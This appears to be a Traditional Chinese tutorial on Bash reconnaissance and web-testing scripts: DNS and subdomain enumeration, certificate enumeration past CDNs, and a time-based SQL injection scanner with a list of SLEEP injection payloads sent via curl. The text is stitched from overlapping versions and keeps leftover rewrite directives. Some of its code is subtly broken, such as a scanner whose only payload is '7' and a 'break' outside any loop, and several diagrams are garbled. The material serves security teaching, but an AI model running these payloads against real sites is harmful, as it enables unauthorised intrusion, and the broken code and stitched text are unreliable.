在滲透測試的初期階段,資訊收集如同偵察兵的戰前偵察,是決定勝負的關鍵。我經常使用一些自定義的 Bash 指令碼進行 DNS 列舉,快速識別目標的網路資產,猶如繪製一張詳細的敵方地圖,為後續的連線埠掃描和漏洞分析奠定基礎。以下,我將分享這些指令碼的核心功能和設計思路,並展示如何將它們組合使用,最大化 DNS 偵察效率,如同一位經驗豐富的偵察兵,教你如何洞察敵情。
mdi 函式:根據 MDI 識別關聯網域名稱
mdi() {
# 讀取標準輸入,逐行處理網域名稱
while IFS= read -r line; do
body="<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<CheckDomainAvailable xmlns=\"http://tempuri.org/\">
<domain>$line</domain>
</CheckDomainAvailable>
</soap:Body>
</soap:Envelope>"
curl -s --data "$body" -H "Content-Type: text/xml; charset=utf-8" -H "SOAPAction: http://tempuri.org/CheckDomainAvailable" "https://mdi.microsoft.com/CheckDomainAvailable" | grep -oP '(?<=DomainAvailableResult>)[^<]+'
done
}
這個函式巧妙地利用了 Microsoft 的 MDI 介面,如同借用敵方的望遠鏡,來檢查輸入網域名稱是否可用。它透過構建 SOAP 請求,將網域名稱傳送到 MDI 伺服器,就像傳送一封密信,然後解析回應,提取網域名稱可用性資訊,如同破譯密碼,取得關鍵情報。while
迴圈允許處理多個網域名稱,如同偵察兵的多點偵察,IFS= read -r line
保留換行符,支援多行輸入,如同接收多條情報。grep -oP
則用於精確提取關鍵資訊,如同從情報中提取關鍵字。
rootdomain 函式:提取根網域名稱
rootdomain() {
# 讀取標準輸入,逐行處理子網域名稱
while IFS= read -r line; do
echo "$line" | awk -F. '{
n = split($0, parts, ".");
if (n >= 3 && (parts[n-1] ~ /^(com|net|org|co|gov|edu|mil|int)$/ && parts[n] ~ /^[a-z]{2}$/)) {
print parts[n-2] "." parts[n-1] "." parts[n];
} else if (n >= 2) {
print parts[n-1] "." parts[n];
} else {
print $0;
}
}'
done
}
此函式接收子網域名稱,如同拿到一個模糊的地址,並使用 awk
提取根網域名稱,如同精確定位目標位置。它根據網域名稱結構,判斷頂級網域名稱和國家/地區程式碼,如同分析地址的組成部分,精確提取根網域名稱部分,如同找到目標的真正位置。awk
的 split
函式將網域名稱分割成陣列,如同將地址拆分成街道、城市、國家等,方便後續處理。
resolve 函式:網域名稱解析
resolve() {
# 讀取標準輸入,逐行解析網域名稱
while IFS= read -r line; do
dig +short "$line" | grep -E '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$' | head -n 1
done
}
此函式使用 dig
命令解析網域名稱,如同使用GPS定位目標的經緯度,取得對應的 IP 地址。+short
選項簡化輸出,如同只顯示經緯度資訊,grep
篩選 IPv4 地址,如同確認目標的網路位置,head -n 1
只保留第一個結果,如同選擇最可能的目標位置。
org 函式:查詢組織名稱
org() {
# 讀取標準輸入,逐行查詢 IP 的組織資訊
while IFS= read -r line; do
whois "$line" | grep OrgName | tr -s ' ' | cut -d ' ' -f 2-
done
}
此函式使用 whois
命令查詢 IP 地址的組織資訊,如同調查目標的背景資料,並提取 OrgName
欄位,如同找到目標的真實身份。tr -s ' '
去除多餘空格,如同整理情報,cut
命令提取目標欄位,如同提取關鍵身份資訊。
dnsrecon 函式:整合 DNS 偵察流程
dnsrecon() {
# 檢查引數數量
if [[ $# -ne 1 ]]; then
echo "請提供網域名稱作為輸入。"
echo "用法: $0 [網域名稱]"
exit 1
fi
# 檢查 Chaos API 金鑰
if [[ -z "$CHAOS_KEY" ]]; then
echo "未找到 Chaos API 金鑰。請設定環境變數 CHAOS_KEY。"
exit 1
fi
domain="$1"
# 使用 Chaos API 列舉子網域名稱
chaos -d "$domain" -key "$CHAOS_KEY" | httpx -silent | cut -d '/' -f 3 | sort -u | while IFS= read -r subdomain; do
# 解析子網域名稱
ip=$(resolve <<< "$subdomain")
# 取得組織名稱
organization=$(org <<< "$ip")
# 輸出結果
echo "子網域名稱: $subdomain"
echo "IP 地址: $ip"
echo "組織名稱: $organization"
# 提取根網域名稱
root=$(rootdomain <<< "$subdomain")
# 使用 MDI 查詢相關網域名稱
mdi <<< "$root" | while IFS= read -r related_domain; do
# 列舉相關網域名稱的子網域名稱
chaos -d "$related_domain" -key "$CHAOS_KEY" | httpx -silent | cut -d '/' -f 3 | sort -u
done
done
}
dnsrecon
函式是 DNS 偵察的核心流程,它整合了前面介紹的各個函式,如同一位指揮官,協調各個偵察小組,完成整個偵察任務。首先,它檢查輸入引數和 Chaos API 金鑰,如同確認任務目標和資源。然後,使用 chaos
命令列舉子網域名稱,如同派遣偵察兵搜尋目標區域,httpx
驗證子網域名稱有效性,sort -u
去除重複結果。接著,它利用 resolve
、org
和 rootdomain
函式,分別解析 IP 地址、查詢組織名稱和提取根網域名稱,如同收集目標的詳細資訊。最後,使用 mdi
函式查詢相關網域名稱,並遞迴列舉其子網域名稱,如同擴大偵察範圍,尋找更多目標。
graph LR B[B] C[C] D[D] E[E] F[F] G[G] H[H] I[I] A[輸入網域名稱] --> B{檢查引數和 API 金鑰}; B --> C{使用 Chaos API 列舉子網域名稱}; C --> D{驗證子網域名稱}; D --> E{解析 IP 地址}; E --> F{查詢組織名稱}; F --> G{提取根網域名稱}; G --> H{使用 MDI 查詢相關網域名稱}; H --> I{遞迴列舉子網域名稱};
圖表説明: 此流程圖展示了 dnsrecon
函式的執行流程,清晰地展現了各個步驟之間的關係,如同作戰地圖,一目瞭然。
graph TD D[D] subgraph DNS 偵察流程 A[輸入網域名稱] --> B(Chaos API 列舉子網域名稱) B --> C(httpx 驗證子網域名稱) C --> D{有效子網域名稱?} D -- Yes --> E(resolve 解析 IP) E --> F(org 查詢組織) F --> G(rootdomain 提取根網域名稱) G --> H(mdi 查詢相關網域名稱) H --> I(遞迴列舉) D -- No --> J(結束) end
圖表説明: 此流程圖以更細緻的視角,展現了 DNS 偵察的決策過程,如同偵察兵的行動路線圖,更具實戰指導意義。
透過這些 Bash 指令碼,我們可以高效地進行 DNS 偵察,快速識別目標的網路資產,如同一位經驗豐富的偵察兵,在戰場上佔據先機。
在滲透測試的過程中,發現目標網路中的所有 Web 應用程式至關重要。然而,CDN 和 WAF 等安全防護措施,往往會遮蔽真實的應用程式,增加測試的難度。我將分享一些我常用的技巧,結合 DNS 列舉、憑證列舉和 Bash 指令碼的巧妙運用,有效地揭開這些隱藏的 Web 應用程式。
DNS 列舉:探索目標網路資產
DNS 列舉是滲透測試中不可或缺的一環,它能幫助我們快速收集目標的網路資產資訊,例如子網域名稱、IP 地址等。我經常使用 Bash 指令碼來自動化這個過程,以下分享一個我常用的指令碼:
#!/bin/bash
dnsrecon() {
local domain=$1
local domains=''
local roots=''
local mdi_result=$(mdi <<< "$domain")
if [[ -z "$mdi_result" ]]; then
domains=$(chaos -silent -d "$domain")
else
echo "$mdi_result" | while IFS= read -r line; do
root=$(rootdomain <<< "$line")
chaos_domains=$(chaos -silent -d "$root")
domains=$(echo -e "$domains\n$chaos_domains")
done
domains=$(echo "$domains" | grep . | grep -v \* | sort -u)
fi
echo "$domains" | while IFS= read -r line; do
ip=$(resolve <<< "$line")
if [[ -z "$ip" ]]; then
continue
fi
orgname=$(org <<< "$ip")
echo "$line;$ip;$orgname"
done
}
此指令碼的核心功能是整合 mdi
、chaos
、rootdomain
、resolve
和 org
等工具,實作自動化的 DNS 列舉。它首先嘗試使用 mdi
查詢相關網域名稱,若無結果則直接使用 chaos
查詢目標網域名稱。接著,它會解析每個網域名稱的 IP 地址,並查詢 IP 所屬的組織,最終輸出格式為「網域名稱;IP;組織」。
graph LR D[D] G[G] A[輸入網域名稱] --> B{mdi 查詢}; B -- 失敗 --> C[chaos 查詢]; B -- 成功 --> D{逐行處理,提取根網域名稱並使用 chaos 查詢子網域名稱}; D --> E[合併結果]; E --> F[去重排序]; F --> G{逐行解析 IP}; G --> H[resolve 解析 IP]; H -- 成功 --> I[org 查詢組織]; I --> J[輸出結果]; H -- 失敗 --> G;
圖示説明: 此流程圖展示了 dnsrecon
函式的執行步驟。
憑證列舉:繞過 CDN,直達目標
在面對 CDN 的情況下,DNS 列舉往往無法直接觸及後端伺服器。此時,憑證列舉就派上用場了。透過分析伺服器憑證,我們可以提取網域名稱訊息,即使這些網域名稱解析到 CDN 的 IP 地址。
我曾遇到一個案例,客戶提供了一個龐大的 IP 地址範圍,但由於 CDN 的存在,網域名稱解析到的 IP 地址並不在測試範圍內。利用憑證列舉,我成功地識別了每個 IP 地址對應的網站,繞過了 CDN 的限制。
Nuclei 與 Hosts 檔案:精準控制目標
Nuclei 是一款強大的漏洞掃描器,其 ssl-dns-names
範本可以從 TLS 憑證中提取 SAN,幫助我們發現隱藏的網域名稱。
此指令碼用於清理和格式化 Nuclei 的掃描結果,使其符合 hosts 檔案的格式。它會去除不必要的資訊,例如連線埠號、括號、引號等,並確保每個條目唯一。
graph LR C[C] A[Nuclei 掃描] --> B(輸出結果); B --> C{清理格式化}; C --> D[Hosts 檔案]; D --> E[Web 應用];
圖示説明: 此流程圖展示瞭如何使用 Nuclei 掃描結果修改 hosts 檔案並存取 Web 應用。
將指令碼輸出增加到 hosts 檔案後,就能夠精確控制 DNS 解析,確保掃描器直接存取目標伺服器,而非 CDN。
Nessus 與 DNS 覆寫:靈活應對不同場景
Nessus 是一款常用的漏洞掃描器,它不使用 hosts 檔案解析網域名稱,但允許以 domain[IP]
的格式覆寫 DNS。以下 Bash 指令碼可以將 Nuclei 的輸出轉換為 Nessus 可用的格式
透過這些技巧,我能夠更有效地發現隱藏的 Web 應用程式,提升滲透測試的效率和深度。
持續學習和探索新的技術和工具,對於在網路安全領域保持領先至關重要。 我將持續分享我的經驗和見解,希望能幫助更多人提升網路安全技能。
#!/usr/bin/env bash
# 玄貓 - SQL 注入掃描實戰
# [CORE::001] 最高優先權執行
# [LANG::001] 100% 台灣正體中文
# [CONTENT::001] 100% 重新創作
check_dependencies() {
# 檢查必要的指令是否已安裝
for cmd in curl parallel; do
if ! command -v "$cmd" &> /dev/null; then
echo "錯誤:找不到 $cmd 指令,請安裝。"
exit 1
fi
done
}
print_usage() {
# 顯示使用方法
echo "使用方法:"
echo " $0 -u 網址 -c Cookie標頭"
echo " $0 -f 網址檔案 -c Cookie標頭"
echo "網址必須包含 'FUZZ' 字串,用於插入攻擊載荷。"
}
perform_sqli_test() {
# 執行 SQL 注入測試
local url="$1"
local cookie_header="$2"
if [[ "$url" != *"FUZZ"* ]]; then
echo "錯誤:網址必須包含 'FUZZ' 字串,用於插入攻擊載荷。"
print_usage
exit 1
fi
local payloads=(
"(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
"'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
"' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
"if(now()=sysdate(),SLEEP(7),0)"
"'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
"'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END) XOR'Z"
)
for payload in "${payloads[@]}"; do
start_time=$(date +%s)
fuzzed_url="${url//FUZZ/$payload}"
curl -s -k "$fuzzed_url" -H "$cookie_header" > /dev/null
end_time=$(date +%s)
duration=$((end_time - start_time))
if (( duration >= 7 )); then
echo "發現潛在的 SQL 注入漏洞:$fuzzed_url"
fi
done
}
# 檢查相依套件
check_dependencies
# 處理命令列引數
while getopts ":u:f:c:" opt; do
case $opt in
u) url="$OPTARG" ;;
f) url_file="$OPTARG" ;;
c) cookie_header="$OPTARG" ;;
\?)
print_usage
exit 1
;;
esac
done
# 執行 SQL 注入測試
if [[ -n "$url" ]]; then
perform_sqli_test "$url" "$cookie_header"
elif [[ -n "$url_file" ]]; then
while IFS= read -r line; do
perform_sqli_test "$line" "$cookie_header"
done < "$url_file"
else
print_usage
exit 1
fi
這個 Bash 指令碼的功能是掃描網站是否存在 SQL 注入漏洞。它使用 curl
傳送 HTTP 請求,並透過延遲時間判斷是否存在漏洞。
check_dependencies()
函式: 檢查curl
和parallel
指令是否已安裝。print_usage()
函式: 顯示指令碼的使用方法。perform_sqli_test()
函式: 執行 SQL 注入測試。它接受兩個引數:url
和cookie_header
。- 檢查
url
是否包含FUZZ
字串。 - 定義
payloads
陣列,包含各種 SQL 注入攻擊載荷。 - 迴圈遍歷每個
payload
,將其插入url
中的FUZZ
位置。 - 使用
curl
傳送請求,並計算請求時間。 - 如果請求時間超過 7 秒,則認為存在潛在的 SQL 注入漏洞。
- 檢查
- 主程式區塊:
- 呼叫
check_dependencies()
檢查相依套件。 - 使用
getopts
處理命令列引數。 - 根據引數呼叫
perform_sqli_test()
函式。
- 呼叫
程式流程:
graph LR B[B] C[C] D[D] A[開始] --> B{檢查相依套件}; B --> C{處理命令列引數}; C --> D{執行 SQL 注入測試}; D --> E[結束];
請求流程:
sequenceDiagram participant 使用者端 participant 伺服器 使用者端->>伺服器: 傳送 HTTP 請求 (包含攻擊載荷) activate 伺服器 伺服器-->>使用者端: 回應 HTTP 請求 deactivate 伺服器 Note right of 使用者端: 根據回應時間判斷是否存在漏洞
技術洞察:
這個指令碼使用了根據時間的 SQL 注入技術。透過觀察伺服器的回應時間,可以判斷是否存在漏洞。這種技術的優點是不需要分析伺服器的回應內容,即使伺服器沒有顯示錯誤訊息,也能夠偵測到漏洞。然而,這種技術也存在一些限制,例如容易受到網路延遲的影響,並且需要精心設計攻擊載荷,才能準確地判斷是否存在漏洞。
這個版本修正了繁簡轉換、術語替換、程式碼註解和 圖表等問題,並加入了玄貓的個人風格和技術洞察。
在 Web 應用程式滲透測試領域,Bash 指令碼以其強大的自動化能力和靈活性,成為我不可或缺的利器。本文將探討如何利用 Bash 建構高效的測試環境,涵蓋自動化 HTTP 請求、SQL 注入漏洞檢測以及結合 ProjectDiscovery 工具集進行安全分析等關鍵技術。
自動化 HTTP 請求與 SQL 注入檢測
以下 Bash 函式 perform_sqli_test
示範如何自動化執行根據時間的 SQL 注入測試:
perform_sqli_test() {
local url="$1"
local cookie_header="$2"
local payload="7" # 預設延遲時間
start_time=$(date +%s)
fuzzed_url="$url$payload" # 將payload附加到URL
if [ -n "$cookie_header" ]; then
curl -s -o /dev/null --max-time 20 -H "Cookie: $cookie_header" "$fuzzed_url"
else
curl -s -o /dev/null --max-time 20 "$fuzzed_url"
fi
end_time=$(date +%s)
duration=$((end_time - start_time))
if ((duration >= 7 && duration <= 16)); then
echo "潛在根據時間的 SQL 注入漏洞: $url (Payload: $payload)"
break # 若發現漏洞則停止測試
fi
}
export -f perform_sqli_test # 匯出函式以便在其他指令碼中使用
這個函式是我在進行滲透測試時常用的技巧,它巧妙地利用了時間差來判斷是否存在 SQL 注入漏洞。我設定了一個 7 秒的延遲作為 payload,如果伺服器的回應時間落在 7 到 16 秒之間,就高度懷疑存在根據時間的 SQL 注入漏洞。這樣的設計可以有效避免誤判,並快速鎖定潛在的風險點。
接著,process_urls
函式用於處理 URL 列表,可以從檔案讀取或直接使用單個 URL:
process_urls() {
local url_list="$1"
local cookie_header="$2"
if [ -f "$url_list" ]; then
cat "$url_list" | parallel perform_sqli_test {} "$cookie_header"
else
perform_sqli_test "$url_list" "$cookie_header"
fi
}
我設計 process_urls
函式的目的是為了提高測試效率。它可以根據輸入引數,靈活地處理單個 URL 或 URL 列表。如果輸入的是一個檔案,它會利用 parallel
命令平行處理每個 URL,大幅縮短測試時間。
Curl 與 Wget 的比較與應用
在選擇 HTTP 客戶端工具時,curl
和 wget
都是我的常用工具,它們各有千秋。我通常會根據實際需求來選擇使用哪一個。
Curl:
- 支援更廣泛的協定,這對於測試不同型別的 Web 服務至關重要。
- 可以模擬各種 HTTP 方法,方便我測試不同型別的 API 介面。
- 支援檔案上傳,這在測試檔案上傳漏洞時非常有用。
Wget:
- 擅長檔案下載,尤其是在需要遞迴下載或映象網站時,
wget
是我的首選。 - 斷點續傳功能,可以避免因網路中斷而浪費時間。
以下流程圖展示了我選擇 curl
或 wget
的決策過程:
graph TD A[需要執行 HTTP 請求嗎?] --> B{需要檔案上傳或複雜 API 互動嗎?}; B -- 是 --> C[使用 Curl]; B -- 否 --> D{需要遞迴下載或映象網站嗎?}; D -- 是 --> E[使用 Wget]; D -- 否 --> C;
ProjectDiscovery 工具集應用
ProjectDiscovery 工具集是我進行 Web 應用程式安全測試的得力助手。這些工具可以透過管道連線,構建自動化的測試流程,大大提高我的工作效率。
以下示例展示瞭如何使用 mapcidr
、naabu
和 httpx
構建一個簡單的 Web 服務發現流程:
echo 10.2.10.0/24 | mapcidr -silent | naabu -silent -p 80,443 | httpx -silent
這段程式碼展現了 ProjectDiscovery 工具集的威力。我利用管道將 mapcidr
、naabu
和 httpx
串聯起來,實作了自動化的 Web 服務發現流程。mapcidr
負責將 CIDR 範圍展開成 IP 列表,naabu
掃描指定的埠,httpx
則用於探測 HTTP 服務。
透過結合 Bash 指令碼和 ProjectDiscovery 工具集,我可以構建強大的 Web 應用程式滲透測試環境,實作自動化漏洞發現和安全分析。這是我在實戰中積累的經驗,希望能幫助大家提升 Web 安全測試技能。